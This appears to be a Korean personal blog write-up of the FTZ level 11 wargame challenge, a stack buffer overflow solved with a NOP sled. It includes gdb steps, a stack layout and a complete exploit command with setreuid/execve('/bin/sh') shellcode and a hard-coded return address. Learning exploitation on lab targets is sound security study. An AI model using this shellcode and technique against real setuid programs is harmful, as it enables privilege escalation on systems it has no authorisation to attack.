ImFe's study

FTZ level 11 풀이 - 2 - NOPsled 본문

FTZ

FTZ level 11 풀이 - 2 - NOPsled

ImFe 2020. 4. 28. 02:24

열심히 FTZ level11을 풀기위해 노력했지만 생각한 방식으로는 안된다는걸 알았습니다. (보안기법이나 메모리가 계속 바뀐다던가)


또한 strcpy를 이용하여 푸는 풀이보다는 argv[1]를 이용한 풀이가 압도적으로 많았습니다.

 

전에 했던 실패한 풀이는 그냥 gdb를 이용해 브레이크 포인트를 걸거나, 버퍼에 더미값을 넣어 파악하는것을 돕는다던지 그러한 방식들을 시도해본것에 의의를 두고 다른 방식으로 풀어보려합니다.

 

============================================================================


NOPsled의 Nop은 No operation으로써 무작동을 의미합니다.

Sled는 썰매라는 뜻입니다.

 

CPU는 Nop이라는 데이터를 만나게 되면 할 일이 없다고 판단하고 다음 메모리의 데이터를 읽어서 처리합니다.

 

전 글에서

EBP - str[256]의 주소 + 4(EBP랑 RET는 1칸(4바이트)차이)
bfffea48 - bfffe940 + 4 = 10C = 268 임을 알 수 있었는데요.

 

이러한 점을 이용해 268(dec)에서 쉘코드가 차지하는 영역을 뺀 모든 영역을 Nop으로 채우고 마지막에 쉘코드를 넣으면 CPU가 Nop을 타고 명령어를 찾으면서 쭉 지나치다가 쉘코드를 발견하고 실행시킬수도 있을것같습니다.

(Nop은 ASCII코드로 \x90입니다.)


낮은주소

STR[256] = 256bytes
dummy =  8bytes
SFP = 4bytes
RET = 4bytes

높은주소

대략적인 스택 구조입니다. dummy값에 해당하는 8바이트는 컴파일러가 임의로 지정하는거라네요.

 

 

 

main에 브레이크 포인트를 걸어줍니다.

 

 

r`python -c 'print "A"*256'`으로 argv[1]에 A라는 문자를 채워줍니다.

 

 

그리고나서 x\2000x $esp 를 해주면

41(A)값이 어디서부터 시작되는지 확인할 수 있습니다.
=>0xbffffb9c

리틀엔디안방식으로=>\x9c\xfb\xff\xbf

홈 디렉토리로 돌아간 후


./attackme `python -c 'print "\x90"*227+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x9c\xfb\xff\xbf"'`

를 입력해줍시다. ./attackme `python -c 'print "\x..입니다 프린트 뒤에 띄워쓰기있습니다.

 

성공

 

'FTZ' 카테고리의 다른 글

FTZ level 11 풀이 -3- 환경변수  (0) 2020.04.28
버퍼 오버플로우 왕기초편 - 무임승차 문제  (0) 2020.04.24
FTZ level11풀이-1  (0) 2020.04.12
레지스터(register)란?  (0) 2020.04.07
어셈블리어 기초- 진법 체계  (0) 2020.03.25
Comments